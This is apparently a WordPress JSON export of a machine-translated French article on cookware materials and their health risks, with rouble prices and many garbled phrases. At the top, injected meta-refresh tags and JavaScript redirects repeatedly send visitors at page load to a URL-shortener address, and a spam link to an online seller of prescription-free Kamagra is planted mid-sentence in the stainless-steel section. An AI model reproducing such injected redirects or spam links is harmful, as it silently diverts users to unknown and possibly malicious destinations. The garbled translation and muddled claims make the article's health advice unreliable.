{"id":82751,"date":"2025-08-20T13:11:38","date_gmt":"2025-08-20T13:11:38","guid":{"rendered":"http:\/\/ansoldes.com\/?p=82751"},"modified":"2025-08-21T11:14:31","modified_gmt":"2025-08-21T11:14:31","slug":"choose-good-utensils-1","status":"publish","type":"post","link":"http:\/\/ansoldes.com\/index.php\/2025\/08\/20\/choose-good-utensils-1\/","title":{"rendered":"choose-good-utensils-1"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><\/p>\n<h1>Choisissez de bons ustensiles<\/h1>\n<p>La fa\u00e7on dont nous cuisinons g\u00e9n\u00e9ralement d\u00e9pend de nos d\u00e9pendances dans la nourriture. Et ce que nous faisons &#8211; de nos habitudes. Il vaut la peine d&#8217;\u00eatre attentif au choix des plats: il affecte non seulement le go\u00fbt et la qualit\u00e9 des aliments cuits, mais aussi notre sant\u00e9.<\/p>\n<p>Nous choisissons plus en d\u00e9tail les produits pour notre table: tout le monde sait que notre puits d\u00e9pend de ce que nous mangeons. Nous sommes moins exigeants sur les mat\u00e9riaux \u00e0 partir desquels nos ustensiles de cuisine sont fabriqu\u00e9s: plastique ou verre, aluminium ou fonte, c\u00e9ramique ou laiton. Les associations de consommateurs, les \u00e9cologistes, les scientifiques et les m\u00e9decins avertissent les substances toxiques de l&#8217;entr\u00e9e dans notre corps en raison de l&#8217;utilisation de certains types de plats. Les fabricants disent qu&#8217;il n&#8217;y a aucune raison de pr\u00e9occupation: il suffit d&#8217;utiliser correctement les ustensiles de cuisine et de savoir de quoi il est fait et ce qui est destin\u00e9 \u00e0. Chaque plat a ses propres avantages. Mais il y a des lacunes que nous sous-estimons parfois. Notre examen des ustensiles de cuisine aidera \u00e0 mieux comprendre tout.<\/p>\n<h3>Aluminium: pas tous les jours<\/h3>\n<p>Ces plats sont l\u00e9gers, pas trop chers et assez durables. Propage rapidement la chaleur, ne subit pas de corrosion. Mais le principal risque est la possibilit\u00e9 d&#8217;un effet toxique en aluminium sur l&#8217;os et le syst\u00e8me nerveux. Ses particules entrent dans notre corps \u00e0 la suite d&#8217;un contact avec des produits acides (tomates, citron, abricot, Sorrel. ). Et l&#8217;\u00e9tude men\u00e9e en France en 2000 * a r\u00e9v\u00e9l\u00e9 une augmentation du risque de maladie d&#8217;Alzheimer chez ceux qui ont bu de l&#8217;eau avec une teneur en aluminium de plus de 100 microgrammes par litre.<\/p>\n<p><strong>Notre conseil:<\/strong> Les plats en aluminium peuvent \u00eatre utilis\u00e9s de temps en temps. Les plats en aluminium de haute qualit\u00e9 ont des murs assez \u00e9pais et un film d&#8217;oxyde fort qui prot\u00e8ge contre l&#8217;oxydation sous l&#8217;influence des produits acides &#8211; ces plats sont les plus s\u00fbrs.<\/p>\n<p>* National Institute of Health and Medical Research (INSERM) &#8211; www.Ins\u00e9rer.Frousser<\/p>\n<ul>\n<li>Steven, 999 frottement., Ikea.<\/li>\n<li>Pans muraux, de 1 500 \u00e0 3000 roubles.<\/li>\n<\/ul>\n<h3>Silicone: la recherche continue<\/h3>\n<p>Les plats en silicone ont des propri\u00e9t\u00e9s anti-stick naturelles: tout plat fini est facile \u00e0 extraire, en pliant simplement le bord d&#8217;une forme \u00e9lastique. Il est particuli\u00e8rement bon pour la pr\u00e9paration des produits de p\u00e2te et est moins adapt\u00e9 aux souffleurs et aux casseroles \u00e0 l&#8217;effet du brouillard, qui donne une surface en silicone. Par cons\u00e9quent, il est pr\u00e9f\u00e9rable de retirer les produits du moule imm\u00e9diatement, encore chaud pour pr\u00e9server la cro\u00fbte brillante. La r\u00e9sistance du silicone aux effets des temp\u00e9ratures \u00e9lev\u00e9es est toujours \u00e0 l&#8217;\u00e9tude: l&#8217;une des vari\u00e9t\u00e9s de ce plat (bas\u00e9e sur l&#8217;oxyg\u00e8ne en silicone) a \u00e9t\u00e9 interdite en Suisse en raison des risques potentiels pour la sant\u00e9.<\/p>\n<p><strong>Notre conseil:<\/strong> Choisissez des formes avec une r\u00e9sistance \u00e0 la chaleur maximale et ne d\u00e9passez jamais la temp\u00e9rature recommand\u00e9e.<\/p>\n<ul>\n<li>Formulaires de cuisson Guardini, environ 400-600 roubles., Magasin en lignewwww.Superpovar.ru<\/li>\n<li>Formulaires de cuisson Tupperware, informations sur le site Web www.Tupperware.ru<\/li>\n<\/ul>\n<h3>Acier inoxydable: qualit\u00e9 pendant longtemps<\/h3>\n<p>Le mat\u00e9riau le plus courant pour la <a href=\"https:\/\/belgiquepharmacie.com\/achetez-kamagra-sans-prescription-online\/\">https:\/\/belgiquepharmacie.com\/achetez-kamagra-sans-prescription-online\/<\/a> fabrication d&#8217;une casserole et des pots est un alliage de fer, de chrome et de nickel. Les plats en acier inoxydable sont durables, pratiques et s\u00fbrs. Cependant, les personnes allergiques au nickel ne sont pas recommand\u00e9es d&#8217;utiliser de tels plats. Le marquage \u00abSteel 10\/18\u00bb ou \u00abacier chirurgical\u00bb signifie qu&#8217;il s&#8217;agit de l&#8217;acier de tr\u00e8s haute qualit\u00e9, stabilis\u00e9 et r\u00e9sistant \u00e0 la corrosion. Ces produits ne devraient pas surchauffer: les surfaces polies noircient et recouvertes de taches ind\u00e9l\u00e9bile.<\/p>\n<p><strong>Notre conseil:<\/strong> Choisissez des plats de haute qualit\u00e9 \u00e9pais avec un \u00absandwich\u00bb de type fond, qui distribue uniform\u00e9ment la chaleur, donnant la possibilit\u00e9 de cuire avec une quantit\u00e9 minimale d&#8217;huile et d&#8217;eau. Le couvercle en acier inoxydable est pr\u00e9f\u00e9rable: ils refl\u00e8tent la chaleur \u00e0 l&#8217;int\u00e9rieur des plats, vous permettant de r\u00e9duire le temps de traitement thermique.<\/p>\n<ul>\n<li>Pans, pots, rago\u00fbt, environ 3000-5000 roubles., Magasins propri\u00e9taires z\u00e9pter.<\/li>\n<li>Steven, Pots Lagostina, environ 7 000 roubles., Centre commercial &#8220;Seasons&#8221;, magasin Williams&amp;Oliver.<\/li>\n<\/ul>\n<h3>Plastique: ne surchauffez pas<\/h3>\n<p>Les plats sont l\u00e9gers, ins\u00e9parables, pr\u00e9serve bien, se caract\u00e9rise par un prix bas et une compacit\u00e9. Le plus souvent, nous l&#8217;utilisons pour cuisiner des aliments dans un four \u00e0 micro-ondes. Cependant, tous les plans en plastique ne sont pas thermiques. Par cons\u00e9quent, il n&#8217;est pas recommand\u00e9 de le chauffer &#8211; \u00e0 l&#8217;exception de conteneurs sp\u00e9ciaux con\u00e7us pour d\u00e9gicher les produits. Avec un chauffage prolong\u00e9 ou s\u00e9v\u00e8re, les mol\u00e9cules en plastique peuvent p\u00e9n\u00e9trer, en particulier dans les aliments contenant des graisses (viande, fromage cottage. ). Il n&#8217;est pas recommand\u00e9 de mettre des aliments chauds ou gras dans des r\u00e9cipients en plastique (les graisses absorbent facilement toutes les substances nocives). Il en va de m\u00eame par rapport au film alimentaire, car il n&#8217;est pas tr\u00e8s r\u00e9sistant \u00e0 la chaleur.<\/p>\n<p><strong>Notre conseil:<\/strong> Le plastique est id\u00e9al pour les produits secs et froids. Lorsque vous r\u00e9chauffez les aliments au micro-ondes, donnez la pr\u00e9f\u00e9rence au verre.<\/p>\n<ul>\n<li>Ensembles de conteneurs pour stocker les produits, environ 200 roubles., Ikea.<\/li>\n<li>Conteneurs en plastique Tupperware, informations sur le site Web www.Tupperware.ru<\/li>\n<\/ul>\n<h3>Cuivre: pour des occasions sp\u00e9ciales<\/h3>\n<p>Elle tient la chaleur uniform\u00e9ment, se r\u00e9chauffe rapidement, se refroidit lentement, la nourriture ne br\u00fble pas. D\u00e9savantage &#8211; Capacit\u00e9 d&#8217;oxydation: le cuivre peut r\u00e9agir avec l&#8217;acide nitrique contenu dans les d\u00e9tergents. Souvent de l&#8217;int\u00e9rieur, les plats sont recouverts d&#8217;autres m\u00e9taux pour que le cuivre ne touche pas directement aux produits. Les plats de cuivre \u00e0 haute qualit\u00e9 sont chers.<\/p>\n<p><strong>Notre conseil:<\/strong> Utilisez-le pour faire de la confiture &#8211; la distribution parfaite de la chaleur prot\u00e9gera du sucre.<\/p>\n<ul>\n<li>Ruffoni Pots, 6000-7000 roubles., Salon de plats Vazaro.<\/li>\n<li>Distes de Berghoff, magasins propri\u00e9taires de Berghoff.<\/li>\n<\/ul>\n<h3>C\u00e9ramique: traditions et convivialit\u00e9 environnementale<\/h3>\n<p>La c\u00e9ramique n&#8217;\u00e9met pas de substances nocives. Dans des pots en argile non br\u00fbl\u00e9e, vous pouvez cuire sans eau ni graisse &#8211; si vous abaissez d&#8217;abord le r\u00e9cipient dans l&#8217;eau pendant une courte p\u00e9riode. Mais la c\u00e9ramique non conduite ne peut pas \u00eatre lav\u00e9e \u00e0 l&#8217;aide de d\u00e9tergents. Les c\u00e9ramiques sont assez lourdes, volumineuses et se battent. De plus, la c\u00e9ramique froide ne peut pas \u00eatre plac\u00e9e dans un four pr\u00e9chauff\u00e9.<\/p>\n<p><strong>Notre conseil:<\/strong> Lire le marquage &#8211; Les peintures recouvertes de plats peuvent lib\u00e9rer des toxines.<\/p>\n<ul>\n<li>Pots, 700 frottements., Ikea.<\/li>\n<li>Capacit\u00e9s de cuisson Roemertopf, 1000-2000 roubles., Salon de plats Vazaro.<\/li>\n<\/ul>\n<h3>Chugun: presque un id\u00e9al<\/h3>\n<p>Les plats sont forts, durables, il se r\u00e9chauffe uniform\u00e9ment, avec des temp\u00e9ratures \u00e9lev\u00e9es. Les experts insistent dans les casseroles et la rago\u00fbt sans couvrir: les aliments pr\u00e9par\u00e9s en eux ont le meilleur go\u00fbt de. Avant d&#8217;utiliser la fonte, vous devez vous r\u00e9chauffer avec une petite quantit\u00e9 d&#8217;huile, et apr\u00e8s utilisation &#8211; essuyez avec une serviette tremp\u00e9e dans l&#8217;huile et stockez sous cette forme.<\/p>\n<p><strong>Notre conseil:<\/strong> N&#8217;utilisez pas de substances abrasives &#8211; les aliments d\u00e9ferleront au fond.<\/p>\n<ul>\n<li>Snowstones &#8220;Bravera&#8221;, 250-400 roubles., Ikea.<\/li>\n<li>Steven, Pots Staub, environ 7 000 roubles., Salon vazaro.<\/li>\n<\/ul>\n<h3>Verre: beaut\u00e9 fragile<\/h3>\n<p>Les plats en verre sont respectueux de l&#8217;environnement, assez pratiques, sont tr\u00e8s agr\u00e9ables, il peut \u00eatre utilis\u00e9 \u00e0 la fois pour la cuisine et pour les servir. Mais elle bat, ne r\u00e9siste pas aux temp\u00e9ratures contrast\u00e9es, parfois il est difficile de le laver.<\/p>\n<p><strong>Notre conseil:<\/strong> Faites attention au marquage &#8211; le degr\u00e9 de r\u00e9sistance \u00e0 la chaleur est indiqu\u00e9 l\u00e0-bas et si ce plat est un impact et r\u00e9sistant \u00e0 l&#8217;impact.<\/p>\n<ul>\n<li>Takumi Glass Teapots, cha\u00eene de magasins &#8220;Henkels Crinets&#8221;.<\/li>\n<li>Distes en verre tch\u00e8que Simax, magasin en ligne.Simax-Rus.ru<\/li>\n<\/ul>\n<h3>Bois: naturel<\/h3>\n<p>Le principal inconv\u00e9nient: si la surface est endommag\u00e9e et qu&#8217;il y a des microparticules de nourriture dessus, cela cr\u00e9e un sol favorable aux microbes. Le plus persistant \u00e0 cet \u00e9gard est le bambou.<\/p>\n<p><strong>Notre conseil:<\/strong> Les ustensiles en bois peuvent \u00eatre nettoy\u00e9s avec un grand sel et essuy\u00e9s de vinaigre blanc, cela \u00e9liminera les microbes et les odeurs.<\/p>\n<ul>\n<li>\u00abRessource\u00bb de planches, environ 300 roubles., Ikea.<\/li>\n<\/ul>\n<h3>Attention aux rev\u00eatements anti-stutick<\/h3>\n<p>Ils vous permettent de cuisiner avec un minimum d&#8217;huile et permettent de manger avec de plus grands avantages pour la sant\u00e9. Mais l&#8217;utilisation de casseroles et de pots avec des co\u00fbts de rev\u00eatement anti-b\u00e2tons seulement de haute qualit\u00e9 prouv\u00e9s. Les experts de l&#8217;American Environmental Protection Agency, sur la base des recherches men\u00e9es en juillet 2005 *, avertissent: l&#8217;utilisation de plats avec un rev\u00eatement en polym\u00e8re \u00e0 faible qualit\u00e9 peut \u00eatre associ\u00e9 au risque de mettre en \u00e9vidence des substances canc\u00e9rig\u00e8nes.<\/p>\n<p>Pour nettoyer la vaisselle de ce type, vous ne pouvez pas utiliser les abrasifs et le chauffer \u00e0 des temp\u00e9ratures \u00e9lev\u00e9es, surtout sans nourriture. Il est n\u00e9cessaire de changer la vaisselle avec un rev\u00eatement anti-b\u00e2ton d\u00e8s que son int\u00e9grit\u00e9 est perturb\u00e9e et que la surface perd son apparence d&#8217;origine.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Choisissez de bons ustensiles La fa\u00e7on dont nous cuisinons g\u00e9n\u00e9ralement d\u00e9pend de nos d\u00e9pendances dans la nourriture. Et ce que nous faisons &#8211; de nos habitudes. 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